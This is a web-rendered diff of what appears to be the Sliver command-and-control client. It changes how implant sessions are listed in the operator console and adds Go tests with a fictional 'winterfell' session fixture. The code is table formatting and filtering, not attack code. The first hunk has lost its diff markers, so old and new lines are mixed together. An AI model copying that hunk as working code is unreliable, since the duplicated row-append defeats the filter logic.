|
||||
style.Render(session.Hostname),
|
||||
style.Render(username),
|
||||
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
|
||||
burned + SessionHealth,
|
||||
rowEntries = append(rowEntries, style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)))
|
||||
if layout.IncludeLocale {
|
||||
rowEntries = append(rowEntries, style.Render(session.Locale))
|
||||
}
|
||||
rowEntries = append(rowEntries, lastMessage, burned+sessionHealth)
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
return tw
|
||||
}
|
||||
|
||||
func matchesSessionFilter(entries []string, filter string, filterRegex *regexp.Regexp) bool {
|
||||
if filter == "" && filterRegex == nil {
|
||||
return true
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if filter != "" && strings.Contains(entry, filter) {
|
||||
return true
|
||||
}
|
||||
if filterRegex != nil && filterRegex.MatchString(entry) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func formatRelativeTime(t time.Time, now time.Time) string {
|
||||
if t.After(now) {
|
||||
return fmt.Sprintf("in %s", t.Sub(now).Round(time.Second))
|
||||
}
|
||||
return fmt.Sprintf("%s ago", now.Sub(t).Round(time.Second))
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID.
|
||||
|
||||
@@ -0,0 +1,276 @@
|
||||
package sessions
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/targettable"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
var sessionsTestNow = time.Date(2026, time.September, 3, 14, 25, 41, 0, time.UTC)
|
||||
|
||||
func TestRenderSessionsKeepsFullProcessPathWhenItFits(t *testing.T) {
|
||||
session := sessionsTestSession("windows", `C:\Users\vagrant\AppData\Local\Temp\sliver.exe`)
|
||||
sessions := sessionMap(session)
|
||||
con := sessionsTestConsole()
|
||||
hasIntegrity := true
|
||||
fullLayout := targettable.Layout{IncludeIntegrity: true, IncludeLocale: true}
|
||||
width := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, fullLayout, hasIntegrity, sessionsTestNow))
|
||||
|
||||
rendered := renderedSessionTable(renderSessions(sessions, "", nil, con, width, sessionsTestNow))
|
||||
if !strings.Contains(rendered, session.Filename+" (456)") {
|
||||
t.Fatalf("full process path was not retained:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, width)
|
||||
}
|
||||
|
||||
func TestRenderSessionsUsesTargetProcessBasenameBeforeOmittingColumns(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
operatingSys string
|
||||
filename string
|
||||
basename string
|
||||
hasIntegrity bool
|
||||
}{
|
||||
{
|
||||
name: "windows path",
|
||||
operatingSys: "windows",
|
||||
filename: `C:\Users\vagrant\AppData\Local\Temp\a-very-long-directory-name\sliver.exe`,
|
||||
basename: "sliver.exe",
|
||||
hasIntegrity: true,
|
||||
},
|
||||
{
|
||||
name: "POSIX path",
|
||||
operatingSys: "linux",
|
||||
filename: "/opt/sliver/a-very-long-directory-name/implant/sliver",
|
||||
basename: "sliver",
|
||||
hasIntegrity: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
session := sessionsTestSession(test.operatingSys, test.filename)
|
||||
sessions := sessionMap(session)
|
||||
con := sessionsTestConsole()
|
||||
fullLayout := targettable.Layout{IncludeIntegrity: test.hasIntegrity, IncludeLocale: true}
|
||||
basenameLayout := targettable.Layout{ProcessBasename: true, IncludeIntegrity: test.hasIntegrity, IncludeLocale: true}
|
||||
fullWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, fullLayout, test.hasIntegrity, sessionsTestNow))
|
||||
basenameWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, basenameLayout, test.hasIntegrity, sessionsTestNow))
|
||||
if basenameWidth >= fullWidth {
|
||||
t.Fatalf("test fixture does not make basename table narrower: basename=%d full=%d", basenameWidth, fullWidth)
|
||||
}
|
||||
|
||||
rendered := renderedSessionTable(renderSessions(sessions, "", nil, con, basenameWidth, sessionsTestNow))
|
||||
if !strings.Contains(rendered, test.basename+" (456)") {
|
||||
t.Fatalf("process basename was not rendered:\n%s", rendered)
|
||||
}
|
||||
if strings.Contains(rendered, test.filename) {
|
||||
t.Fatalf("full process path was rendered after basename fallback:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Locale") {
|
||||
t.Fatalf("Locale was omitted before it was needed:\n%s", rendered)
|
||||
}
|
||||
if test.hasIntegrity && !strings.Contains(rendered, "Integrity") {
|
||||
t.Fatalf("Integrity was omitted before it was needed:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, basenameWidth)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSessionsOmitsIntegrityBeforeLocale(t *testing.T) {
|
||||
session := sessionsTestSession("windows", `C:\Users\vagrant\AppData\Local\Temp\a-very-long-directory-name\sliver.exe`)
|
||||
session.Integrity = "System-With-An-Extremely-Long-Integrity-Label"
|
||||
session.Locale = "extraordinarily-long-locale"
|
||||
sessions := sessionMap(session)
|
||||
con := sessionsTestConsole()
|
||||
hasIntegrity := true
|
||||
|
||||
withoutIntegrity := targettable.Layout{ProcessBasename: true, IncludeLocale: true}
|
||||
withoutIntegrityOrLocale := targettable.Layout{ProcessBasename: true}
|
||||
withoutIntegrityWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, withoutIntegrity, hasIntegrity, sessionsTestNow))
|
||||
withoutIntegrityOrLocaleWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, withoutIntegrityOrLocale, hasIntegrity, sessionsTestNow))
|
||||
if withoutIntegrityOrLocaleWidth >= withoutIntegrityWidth {
|
||||
t.Fatalf("test fixture does not make Locale omission narrower: without Locale=%d with Locale=%d", withoutIntegrityOrLocaleWidth, withoutIntegrityWidth)
|
||||
}
|
||||
|
||||
t.Run("Integrity omitted first", func(t *testing.T) {
|
||||
rendered := renderedSessionTable(renderSessions(sessions, "", nil, con, withoutIntegrityWidth, sessionsTestNow))
|
||||
if strings.Contains(rendered, "Integrity") || strings.Contains(rendered, session.Integrity) {
|
||||
t.Fatalf("Integrity column was retained:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Locale") || !strings.Contains(rendered, session.Locale) {
|
||||
t.Fatalf("Locale should remain after Integrity is omitted:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Process (PID)") {
|
||||
t.Fatalf("renderer unexpectedly used the compact fallback:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, withoutIntegrityWidth)
|
||||
})
|
||||
|
||||
t.Run("Locale omitted second", func(t *testing.T) {
|
||||
rendered := renderedSessionTable(renderSessions(sessions, "", nil, con, withoutIntegrityOrLocaleWidth, sessionsTestNow))
|
||||
if strings.Contains(rendered, "Integrity") || strings.Contains(rendered, "Locale") {
|
||||
t.Fatalf("optional columns were retained:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Process (PID)") {
|
||||
t.Fatalf("renderer unexpectedly used the compact fallback:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, withoutIntegrityOrLocaleWidth)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRenderSessionsUsesDirectionalRelativeLastMessage(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
lastCheckin time.Time
|
||||
want string
|
||||
}{
|
||||
{name: "past", lastCheckin: sessionsTestNow.Add(-36 * time.Second), want: "36s ago"},
|
||||
{name: "future clock skew", lastCheckin: sessionsTestNow.Add(5 * time.Second), want: "in 5s"},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
session := sessionsTestSession("linux", "/opt/sliver/sliver")
|
||||
session.LastCheckin = test.lastCheckin.Unix()
|
||||
rendered := renderedSessionTable(renderSessions(sessionMap(session), "", nil, sessionsTestConsole(), 10_000, sessionsTestNow))
|
||||
if !strings.Contains(rendered, test.want) {
|
||||
t.Fatalf("relative Last Message %q was not rendered:\n%s", test.want, rendered)
|
||||
}
|
||||
if strings.Contains(rendered, "2026") || strings.Contains(rendered, test.lastCheckin.Format(time.UnixDate)) {
|
||||
t.Fatalf("Last Message unexpectedly contains a calendar date:\n%s", rendered)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSessionsOmitsIntegrityForNonWindowsSessions(t *testing.T) {
|
||||
session := sessionsTestSession("linux", "/opt/sliver/sliver")
|
||||
rendered := renderedSessionTable(renderSessions(sessionMap(session), "", nil, sessionsTestConsole(), 10_000, sessionsTestNow))
|
||||
if strings.Contains(rendered, "Integrity") {
|
||||
t.Fatalf("non-Windows sessions table contains an Integrity column:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Locale") {
|
||||
t.Fatalf("wide non-Windows sessions table is missing Locale:\n%s", rendered)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSessionsCompactFallbackPreservesLegacyColumns(t *testing.T) {
|
||||
session := sessionsTestSession("windows", `C:\Users\vagrant\AppData\Local\Temp\sliver.exe`)
|
||||
sessions := sessionMap(session)
|
||||
con := sessionsTestConsole()
|
||||
compactWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, targettable.Layout{Compact: true}, true, sessionsTestNow))
|
||||
withoutOptionalWidth := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, targettable.Layout{ProcessBasename: true}, true, sessionsTestNow))
|
||||
if compactWidth >= withoutOptionalWidth {
|
||||
t.Fatalf("test fixture does not require compact fallback: compact=%d detailed=%d", compactWidth, withoutOptionalWidth)
|
||||
}
|
||||
rendered := renderedSessionTable(renderSessions(sessions, "", nil, con, compactWidth, sessionsTestNow))
|
||||
header := strings.SplitN(rendered, "\n", 2)[0]
|
||||
|
||||
for _, retained := range []string{"ID", "Transport", "Remote Address", "Hostname", "Username", "Operating System", "Health"} {
|
||||
if !strings.Contains(header, retained) {
|
||||
t.Fatalf("compact fallback is missing legacy column %q:\n%s", retained, rendered)
|
||||
}
|
||||
}
|
||||
for _, omitted := range []string{"Process (PID)", "Integrity", "Locale", "Last Message"} {
|
||||
if strings.Contains(header, omitted) {
|
||||
t.Fatalf("compact fallback unexpectedly contains column %q:\n%s", omitted, rendered)
|
||||
}
|
||||
}
|
||||
if strings.Contains(rendered, session.Name) {
|
||||
t.Fatalf("compact fallback unexpectedly contains the session name:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, compactWidth)
|
||||
}
|
||||
|
||||
func TestRenderSessionsFiltersCanonicalValuesHiddenByLayout(t *testing.T) {
|
||||
session := sessionsTestSession("windows", `C:\hidden-directory-token\sliver.exe`)
|
||||
session.Integrity = "hidden-integrity-token"
|
||||
session.Locale = "hidden-locale-token"
|
||||
sessions := sessionMap(session)
|
||||
con := sessionsTestConsole()
|
||||
layout := targettable.Layout{ProcessBasename: true}
|
||||
width := renderedSessionTableWidth(buildSessionsTable(sessions, "", nil, con, layout, true, sessionsTestNow))
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
filter string
|
||||
filterRegex *regexp.Regexp
|
||||
hiddenValue string
|
||||
}{
|
||||
{name: "substring in shortened path", filter: "hidden-directory-token", hiddenValue: "hidden-directory-token"},
|
||||
{name: "regexp in omitted columns", filterRegex: regexp.MustCompile(`hidden-(?:integrity|locale)-token`), hiddenValue: "hidden-integrity-token"},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
rendered := renderedSessionTable(renderSessions(sessions, test.filter, test.filterRegex, con, width, sessionsTestNow))
|
||||
if !strings.Contains(rendered, ShortSessionID(session.ID)) {
|
||||
t.Fatalf("session matching a canonical value was filtered out:\n%s", rendered)
|
||||
}
|
||||
if strings.Contains(rendered, test.hiddenValue) {
|
||||
t.Fatalf("hidden canonical value leaked into rendered layout:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "Process (PID)") || strings.Contains(rendered, "Locale") || strings.Contains(rendered, "Integrity") {
|
||||
t.Fatalf("test did not exercise the shortened, omitted-column layout:\n%s", rendered)
|
||||
}
|
||||
assertSessionTableFits(t, rendered, width)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func sessionsTestSession(operatingSystem string, filename string) *clientpb.Session {
|
||||
return &clientpb.Session{
|
||||
ID: "01234567-89ab-cdef-0123-456789abcdef",
|
||||
Name: "winterfell-session",
|
||||
Transport: "mtls",
|
||||
RemoteAddress: "10.13.37.10:61839",
|
||||
Hostname: "winterfell",
|
||||
Username: `winterfell\vagrant`,
|
||||
Filename: filename,
|
||||
PID: 456,
|
||||
Integrity: "High",
|
||||
OS: operatingSystem,
|
||||
Arch: "amd64",
|
||||
Locale: "en-US",
|
||||
LastCheckin: sessionsTestNow.Add(-36 * time.Second).Unix(),
|
||||
}
|
||||
}
|
||||
|
||||
func sessionsTestConsole() *console.SliverClient {
|
||||
return &console.SliverClient{
|
||||
Settings: &assets.ClientSettings{TableStyle: settings.SliverDefault.Name},
|
||||
}
|
||||
}
|
||||
|
||||
func sessionMap(sessions ...*clientpb.Session) map[string]*clientpb.Session {
|
||||
result := make(map[string]*clientpb.Session, len(sessions))
|
||||
for _, session := range sessions {
|
||||
result[session.ID] = session
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func renderedSessionTable(writer table.Writer) string {
|
||||
return text.StripEscape(writer.Render())
|
||||
}
|
||||
|
||||
func renderedSessionTableWidth(writer table.Writer) int {
|
||||
return text.LongestLineLen(writer.Render())
|
||||
}
|
||||
|
||||
func assertSessionTableFits(t *testing.T, rendered string, width int) {
|
||||
t.Helper()
|
||||
if got := text.LongestLineLen(rendered); got > width {
|
||||
t.Fatalf("rendered table width %d exceeds terminal width %d:\n%s", got, width, rendered)
|
||||
}
|
||||
}
|
||||
@@ -50,7 +50,12 @@ func IsUserAnAdultWithPrompt(con *console.SliverClient, prompt string) bool {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
_ = forms.Confirm(prompt, &confirm)
|
||||
if err := forms.Confirm(prompt, &confirm); err != nil {
|
||||
// The interactive form is known to fail on some terminals (#2133);
|
||||
// surface the error instead of silently treating it as a rejection.
|
||||
con.PrintErrorf("Confirmation prompt failed: %s\n", err)
|
||||
return false
|
||||
}
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows
|
||||
|
||||
package shell
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// This fallback preserves the legacy blocking behavior on unsupported client
|
||||
// platforms. Unix and Windows clients use cancellable implementations.
|
||||
type cancellableShellInput struct {
|
||||
reader io.Reader
|
||||
}
|
||||
|
||||
func newCancellableShellInput(_ *os.File, reader io.Reader) (*cancellableShellInput, error) {
|
||||
return &cancellableShellInput{reader: reader}, nil
|
||||
}
|
||||
|
||||
func (s *cancellableShellInput) Read(data []byte, done <-chan struct{}) (int, bool, error) {
|
||||
select {
|
||||
case <-done:
|
||||
return 0, true, nil
|
||||
default:
|
||||
}
|
||||
n, err := s.reader.Read(data)
|
||||
return n, false, err
|
||||
}
|
||||
|
||||
func (s *cancellableShellInput) Close() error {
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 1733 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user